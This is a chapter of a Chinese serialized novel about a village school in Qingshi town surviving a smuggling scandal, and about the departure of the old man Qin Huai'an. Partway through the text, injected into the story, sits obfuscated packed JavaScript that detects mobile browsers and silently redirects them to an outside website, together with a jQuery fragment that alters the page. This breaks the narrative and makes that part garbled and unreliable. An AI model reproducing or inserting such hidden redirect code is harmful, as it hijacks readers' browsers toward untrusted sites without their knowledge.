秋深了。几场霜过后,青石镇的早晨开始结薄冰。老槐树的叶子落了大半,剩下几片枯黄的在枝头颤着。这天清晨,冬雨毫无征兆地来了——不是渐渐沥沥,而是忽然间就密了,淅淅沥沥下了三天,把小镇裹进一片湿冷的灰蒙蒙里。
福伯站在门外,今日没带手杖,只背着手,望着学堂方向,脸上有难得的舒展:“小少爷,祠堂那边,一早就来了好些人。”
“谁?”
“周大栓、李铁匠他们,还有不少街坊。”福伯说,“说是要帮着打扫学堂,修补门窗——昨儿镇公所那一闹,祠堂的门板被踩坏了一块。”
张静轩心头一暖。这就是青石镇的百姓,实在,记恩。
两人往学堂走。街上比往日热闹,早点铺子前围满了人,热气腾腾的包子、豆浆的香气混在空气里。见张静轩走过,不少人点头招呼:
“小少爷早!”
“学堂没事了吧?”
“苏先生好着哩?”
张静轩一一回应。他能感觉到,镇上的气氛不一样了——不再是那种压抑的、窥探的沉默,而是一种敞亮的、舒坦的活泛。
路过镇公所时,门口贴了张新告示。围了不少人在看。张静轩挤过去,看见告示上写的是省警务厅的通告:赵全福、陈继业走私军火烟土案已破,主犯赵全福落网,从犯陈继业在逃,全省通缉。末尾盖着鲜红的公章。
人群中议论纷纷:
“真没想到,赵全福是这种人!”
“三年前秦先生的死,果然是他干的!”
“听说那些烟土,祸害了好些人家……”
“这下好了,青石镇清净了。”
张静轩听着,心里五味杂陈。真相大白是好事,但那些被祸害的人,那些因此破碎的家,却再也回不来了。
到学堂时,祠堂前果然聚了不少人。周大栓正扛着一块新刨好的木板,李铁匠拿着锤子钉子,几个街坊在清扫院子。孩子们也来了,水生拿着扫帚扫落叶,铁蛋在擦窗户,小莲端着一盆水,摇摇晃晃地走。
苏宛音和程秋实在堂内整理桌椅,见张静轩来,都放下手里的活。
“静轩,”苏宛音走过来,眼里有光,“你看,大家都来了。”
张静轩点头:“学堂是大家的学堂。”
“不止。”程秋实推了推眼镜,“昨天林记者走前说,他的报道今天就见报。省城那边,会有更多人知道青石镇,知道咱们的学堂。”
正说着,门外传来马蹄声。一辆马车停在祠堂前,车帘掀开,陈老秀才拄着拐杖走下来。老人今日穿了件崭新的深蓝长衫,手里提着一个布包。
“陈老先生。”张静轩迎上去。
陈老秀才摆摆手,径直走进祠堂,在堂中站定,环视一周。街坊们都停下活,看着他。
“诸位,”陈老秀才清了清嗓子,“老朽今日来,有两件事。”
他从布包里取出一卷纸,展开,是一幅字。字迹苍劲,写的是“启智明德”四个大字。
“这幅字,是老朽昨夜写的。”陈老秀才说,“送给学堂。启民智,明德行——这是读书人的本分,也是学堂该做的事。”
苏宛音上前,郑重接过:“谢谢陈老先生。”
“还有第二件。”陈老秀才从怀里掏出一本泛黄的书,“这是老朽年轻时读的《格致初阶》,光绪年间的刻本,如今不多见了。”他翻开书页,里面密密麻麻写满了批注,“当年老朽读这书,觉得是奇技淫巧。如今想想,是自己迂腐了。格物致知,方能救国。这书……送给学堂的先生们,或许有用。”
程秋实接过书,翻了几页,眼睛一亮:“这是珍本啊!陈老先生,这太贵重了……”
“书就是给人读的。”陈老秀才摆摆手,“放在我那儿,也是落灰。给孩子们开开眼,值了。”
他说完,又看了看正在忙碌的街坊和孩子们,点点头,转身走了。背影在晨光里,显得有些佝偻,但脚步很稳。
张静轩看着老人走远,心里忽然明白了什么——陈老秀才的转变,不是因为被说服,而是因为看见了。看见了学堂的好,看见了孩子们的改变,也看见了那些黑暗下的真相。
有些改变,不是靠说,是靠做。
一上午,祠堂内外热火朝天。门板修好了,窗户擦亮了,院子扫干净了,连那棵老槐树下的石凳,都被擦得发亮。周大栓还在祠堂后墙那片斑驳处,刷了一层新石灰,白生生的,遮住了所有旧痕。
晌午时分,卢明远来了,手里拿着一份报纸。
“出来了!”他声音激动,“《新报》今天的头版!”
众人围上去。报纸头版的大标题赫然醒目:《小镇新学启民智,暗流三年终见光——青石镇办学记》。下面是林觉民的署名文章,详细写了学堂从创办到遇阻,从压制到反击的全过程。还配了一张照片——是昨天在镇公所,家长们起身声援的场面,虽然模糊,但那股气势,隔着纸都能感觉到。
“写得真好。”苏宛音看完,眼眶红了,“他……他都写出来了。”
“不止这些。”卢明远翻到第二版,“还有专访,采访了周叔、李叔他们,还有孩子们的话。”他念了一段:“‘水生说:上学后,我会算账了,爹卖米再也不会算错钱。’‘小莲说:我要给爹写信,告诉他我识字了。’……”
街坊们听着,都笑了。那是自豪的笑,欣慰的笑。
“省城那边已经传开了。”卢明远说,“我爹来信,说教育厅为此开了会,要表彰青石镇学堂,还要在全省推广这种‘民办公助’的办学模式。”
“王秉章呢?”程秋实问。
“撤职查办。”卢明远压低声音,“沈特派员查实,他收受赵全福的贿赂,不止一次。另外,他背后那个省议会的要员,也受到牵连,据说要引咎辞职。”
恶有恶报。张静轩听着,心里却没什么快意。他想起王秉章那张倨傲的脸,想起他被带走时灰败的神情。权力能让人狂妄,也能让人毁灭。关键在人心。
下午的课,气氛格外好。孩子们坐得笔直,读书声格外响亮。苏宛音教算学,今天教的是简单的记账法。她将昨天从陈老秀才那儿得的《格致初阶》放在讲台上,说:“这本书,是陈老先生捐给学堂的。等你们再大些,就能读。里面讲的是格物致知的道理——万事万物,都有它的道理。读书,就是去明白这些道理。”
水生举手:“先生,格物致知,能救国吗?”
苏宛音笑了:“能。一个人明白道理,就不会被骗。一群人明白道理,就不会被欺。一个国家的人明白道理,国家就会强。”
孩子们似懂非懂,但眼神都很亮。
下课后,张静轩没有立刻离开。他站在祠堂院子里,看着那棵老槐树。秋风拂过,叶子沙沙作响,几片黄叶悠悠飘落。
“静轩。”
他回头,看见秦怀安站在月洞门下。老人今日换了身干净的粗布衣裳,头发梳得整齐,脸上虽然还是布满皱纹,但精神好了许多。
“秦先生。”张静轩走过去,“您怎么来了?”
“来看看。”秦怀安望着学堂,“我兄要是知道,他查案的地方,如今成了学堂,教孩子们读书明理……他会高兴的。”
两人并肩站着。夕阳西斜,将他们的影子拉得很长。
“您接下来……有什么打算?”张静轩问。
秦怀安沉默片刻:“我该走了。青石镇的事已了,我兄的仇已报。我……想去北边看看。”
“北边?”
“你大哥在的地方。”秦怀安转过头,看着张静轩,“我年轻时也当过兵,打过仗。如今这把老骨头,扛不动枪了,但还能做点别的——送送信,抬抬伤员,总有用处。”
张静轩心头一热:“秦先生……”
“别劝我。”秦怀安摆摆手,“我这辈子,前半生浑浑噩噩,后半生只为报仇。如今仇报了,该为自己活几天了。”他顿了顿,“我想看看,你大哥他们拼命守护的,是什么样的山河。”
这话说得平淡,但张静轩听出了其中的分量。他看着秦怀安——这个佝偻了三年的老人,脊背似乎挺直了些,眼神里有种他从未见过的光。
“什么时候走?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140650|196314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“明天一早。”秦怀安从怀里掏出一个小布包,“这个,留给你。”
张静轩打开,里面是那把断裂的刀片——就是他在张家后院捡到的那片。刀片被磨得光亮,断口处用细麻绳缠着,做成了一把小刀。
“留着防身。”秦怀安说,“世道不太平,有备无患。”
张静轩握紧小刀。刀身冰凉,但麻绳缠裹处,有手掌摩挲出的温润。
“谢谢您。”
秦怀安点点头,转身要走,又停住:“还有件事。陈继业在逃,他手下还有几个漏网之鱼。你们……还是要小心。”
“我明白。”
老人走了,佝偻的背影在夕阳里,像一株倔强的老松。
张静轩在院子里又站了很久,直到暮色四合。祠堂里亮起了灯,昏黄的光从窗户透出来,在地上投出一个个方正的格子。
他想起大哥的信,想起秦怀安的话,想起这三年来青石镇的暗流与光明。忽然觉得,自己站在这光与暗的交界处,像一枚棋子,又像一枚种子。
棋子要被推动,种子要破土。
而他,选择做种子。
回到家,书房还亮着灯。张老太爷正在看账本,但神色轻松。见儿子进来,放下笔。
“静轩,省城来了公文。”他将一份文件推过来,“教育厅的表彰令,还有……一笔拨款。”
张静轩接过文件。表彰令上列了张家、卢家、陈老秀才的义举,也表彰了苏宛音、程秋实的教学。拨款数额不小,足够学堂用三年。
“这是好事。”
“是好事。”张老太爷点头,“但树大招风。学堂得了名,得了利,难免有人眼红。往后……还是要谨慎。”
“我明白。”张静轩说,“爹,秦先生明天要走,去北边。”
张老太爷沉默片刻:“他是个义士。该去。”他从抽屉里取出一个钱袋,“这个,你明天给他。路上用得着。”
张静轩接过。钱袋沉甸甸的,里面是银元。
“另外,”张老太爷站起身,走到那幅《山河图》前,“你大哥的信,我回了。告诉他青石镇的事,告诉他你长大了。”他转过身,“静轩,你大哥说,等打跑了鬼子,他就回来。到时候……你们兄弟俩,要把学堂办得更好。”
张静轩重重点头。他想象着大哥回来的那天,想象着兄弟俩站在祠堂前,看孩子们读书的样子。那画面,光想想,心里就暖。
夜里,他躺在床上,辗转难眠。窗外月光很好,洒在地上,像铺了一层银霜。他起身,点亮油灯,摊开纸笔。
该给大哥写封信了。
“大哥:见字如面。青石镇事已了,学堂安好。弟近日经历甚多,始知家国二字之重。秦先生明日北上,或能见兄。望兄保重,待山河无恙,归家团圆。弟静轩谨上。”
写得很短,但字字用心。他将信折好,放在枕下。明天托秦怀安带去。
吹熄灯,重新躺下。黑暗中,他握着那把榆木弓,指尖摩挲着刻字:守静笃,观复明。
守静,是在荣耀中清醒。观复,是在变化中看清。
而现在,他还要做第四件事:前行,不停。
窗外传来打更声,三更天了。
远处青云河的水声潺潺,永不停歇。而河上的黑船已不见,暗影已散去,只有月光照着水面,波光粼粼,像一条银色的路,通向远方。
张静轩闭上眼睛。他知道,从今夜起,青石镇的故事,翻开了新的一页。
而他的故事,也才刚刚开始。
黑暗中,他握紧了弓。掌心那片陶片已收好,但那股冰凉坚硬的触感,已刻在记忆里,像一枚烙印,印在这个多事之秋。
而秋天过后,是冬天。
冬天很冷,但人心暖着,灯亮着,路走着,就能取暖。
就能等待春天。
春天会来的。
大哥会回来的。
学堂会更好的。
一定会的。
他这样想着,沉沉睡去。月光透过窗棂,照在他脸上,那张还带着稚气的脸,在睡梦中,有种安宁而坚定的光。